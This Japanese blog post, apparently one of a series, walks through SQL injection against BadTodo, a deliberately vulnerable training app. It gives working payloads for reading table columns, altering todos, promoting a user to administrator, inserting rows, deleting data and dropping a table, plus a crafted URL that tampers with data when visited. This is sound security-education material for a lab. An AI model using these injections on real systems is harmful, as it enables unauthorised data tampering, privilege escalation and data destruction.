前回:やられアプリ BadTodo - 3.4 SQLインジェクション ID・パスワードの取得 - demandosigno
前提:前回でデータベース「todo」にテーブル名「todos」があり、Todoリスト機能部分はそれを使っていることが分かっています。
todosテーブルのカラム一覧
' UNION SELECT NULL, NULL, COLUMN_NAME, DATA_TYPE, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='todos'#
既存データの改ざん(UPDATE SET)
現在はログイン前であり、各todoへの編集権限はありませんが、SQLインジェクションで Todoリストの「パソコンを買う」という部分を書き換えます。
';UPDATE todos SET todo='cracked!' WHERE id=1 #
補足:今回の例では結果を閲覧しやすいため「Todo検索」欄で行っていますが、これらのクエリ自身に画面表示は不要なためログイン画面の「ユーザID」欄などへの入力でも同様のことが可能です。
またkeyパラメータとしてURLに出ますのでhttps://todo.example.jp/todolist.php?key=%27%3BUPDATE+todos+SET+todo%3D%27cracked%21%27+WHERE+id%3D1+%23
のようにアドレスとして踏ませるだけでも改ざんされます。
Usersテーブルに対して
id=3の一般ユーザが存在するとします。(ID番号は各ユーザ名をクリックした際にURLにidパラメータとして出ます)
';UPDATE users SET super=1 WHERE id=3 #
検索実行後にログインして権限を確認すると管理者になることができています。(BadTodo - 15 アクセス制御や認可制御の欠落でも取り上げますがsuper=1
が管理者のフラグとなっています)
新規データの追加(INSERT INTO)
';INSERT INTO todos (id, owner, todo, due_date, memo, org_filename, real_filename, url, url_text, public) VALUES('7', '1', 'hogehoge', '2023-08-16', 'hogehoge', 'hacker2.png', '', 'https://trap.example.org/', 'hogehoge', '1') #
(idはitem番号のことで、他のtodoを見ながら空いていそうな値を使います。real_filenameは空欄で大丈夫でした。)
データの削除(DELETE FROM)
';DELETE FROM todos WHERE id IN ('7') #
(番号はTodoのitem=
に表示される値です)
(全部消したければ';DELETE FROM todos WHERE 1 = 1#
など)
テーブルの削除(DROP TABLE)
'; DROP TABLE todos#
その後、一覧を表示すると「テーブルが存在しない」というエラーになります。
DBを確認しても「todosテーブル」が消えていることが分かります。
MariaDB [todo]> show tables; +----------------+ | Tables_in_todo | +----------------+ | session | | users | +----------------+
下記方法でデータベースとコンテンツの初期化を行い元に戻しておきましょう。
badtodo/docs/usage.md at main · ockeghem/badtodo · GitHub
初期化用スクリプト
コンテナを維持したままデータを初期化するには、以下のスクリプトが利用できます。
Windows(PowerShell)
PS C:badtodo> .\scripts\init.ps1
Windows(CMD)
C:badtodo> .\scripts\init.bat
Mac / Linux / WSL
$ ./scripts/init.sh
次回:やられアプリ BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得 - demandosigno